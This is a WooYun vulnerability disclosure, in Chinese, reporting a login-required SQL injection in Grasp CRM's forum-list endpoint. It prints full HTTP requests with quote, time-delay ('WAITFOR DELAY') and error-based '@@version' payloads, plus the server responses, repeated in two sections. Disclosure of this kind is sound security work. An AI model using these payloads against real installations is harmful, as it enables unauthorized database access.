当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104115

漏洞标题:任我行crmSQL注入(需要登陆)

相关厂商:grasp.com.cn

漏洞作者: 路人甲

提交时间:2015-03-31 15:18

修复时间:2015-07-04 15:21

公开时间:2015-07-04 15:21

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-31: 细节已通知厂商并且等待厂商处理中
2015-04-05: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-30: 细节向核心白帽子及相关领域专家公开
2015-06-09: 细节向普通白帽子公开
2015-06-19: 细节向实习白帽子公开
2015-07-04: 细节向公众公开

简要描述:

dd

详细说明:

WooYun: 任我行CRM/OA的一些SQL注入漏洞 比较鸡肋,需要用户登陆。 官网各个demo测试。 demo2:demodemo
POST http://show.wecrm.com/xt/CompanyPlatform/GetBbsDataList/ HTTP/1.1
Host: show.wecrm.com
Connection: keep-alive
Content-Length: 130
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://show.wecrm.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.72 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://show.wecrm.com/xt/CompanyPlatform/MyBbsIndex/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: CRM_LASTLOGINUSERKEY=demo2; wnd=false; ASP.NET_SessionId=kbakrqr152vx0mpfuo4l0ejg; _ga=GA1.2.348008560.1426762888; Hm_lvt_34f20f9f2a57a1aacd93d39a11ec8f3c=1426762888,1426762945; Hm_lpvt_34f20f9f2a57a1aacd93d39a11ec8f3c=1426762980; userlike_0000000747=index; userlike_0000000146=index
ChvKeywords='&DtmDateLowerLimit=2014-12-19&DtmDateUpperLimit=2015-03-19&ChvStatus=&ChvSignState=&FlowType=0&pageIndex=1&pageSize=30
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/7.5
Date: Thu, 19 Mar 2015 12:06:56 GMT
Content-Length: 169
{"error":{"errorCode":-1,"message":"字符串 '' 后的引号不完整。\r\n'' 附近有语法错误。\r\n'Veto' 附近有语法错误。","errorType":1},"value":null}
ChvKeywords='; WAITFOR DELAY '0:0:5'--
盲注
post:ChvKeywords=' or 1=(select @@version)--&DtmDateLowerLimit=2014-12-19&DtmDateUpperLimit=2015-03-19&ChvStatus=&ChvSignState=&FlowType=0&pageIndex=1&pageSize=30
返回:
{"error":{"errorCode":-1,"message":"在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) \n\tApr 2 2010 15:53:02 \n\tCopyright (c) Microsoft Corporation\n\tEnterprise Edition on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (WOW64) (Hypervisor)\n' 转换成数据类型 int 时失败。","errorType":1},"value":null}

漏洞证明:

POST http://show.wecrm.com/xt/CompanyPlatform/GetBbsDataList/ HTTP/1.1
Host: show.wecrm.com
Connection: keep-alive
Content-Length: 130
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://show.wecrm.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.72 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://show.wecrm.com/xt/CompanyPlatform/MyBbsIndex/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: CRM_LASTLOGINUSERKEY=demo2; wnd=false; ASP.NET_SessionId=kbakrqr152vx0mpfuo4l0ejg; _ga=GA1.2.348008560.1426762888; Hm_lvt_34f20f9f2a57a1aacd93d39a11ec8f3c=1426762888,1426762945; Hm_lpvt_34f20f9f2a57a1aacd93d39a11ec8f3c=1426762980; userlike_0000000747=index; userlike_0000000146=index
ChvKeywords='&DtmDateLowerLimit=2014-12-19&DtmDateUpperLimit=2015-03-19&ChvStatus=&ChvSignState=&FlowType=0&pageIndex=1&pageSize=30
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/7.5
Date: Thu, 19 Mar 2015 12:06:56 GMT
Content-Length: 169
{"error":{"errorCode":-1,"message":"字符串 '' 后的引号不完整。\r\n'' 附近有语法错误。\r\n'Veto' 附近有语法错误。","errorType":1},"value":null}
ChvKeywords='; WAITFOR DELAY '0:0:5'--
盲注
post:ChvKeywords=' or 1=(select @@version)--&DtmDateLowerLimit=2014-12-19&DtmDateUpperLimit=2015-03-19&ChvStatus=&ChvSignState=&FlowType=0&pageIndex=1&pageSize=30
返回:
{"error":{"errorCode":-1,"message":"在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) \n\tApr 2 2010 15:53:02 \n\tCopyright (c) Microsoft Corporation\n\tEnterprise Edition on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (WOW64) (Hypervisor)\n' 转换成数据类型 int 时失败。","errorType":1},"value":null}

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-04 15:21

厂商回复:

最新状态:

暂无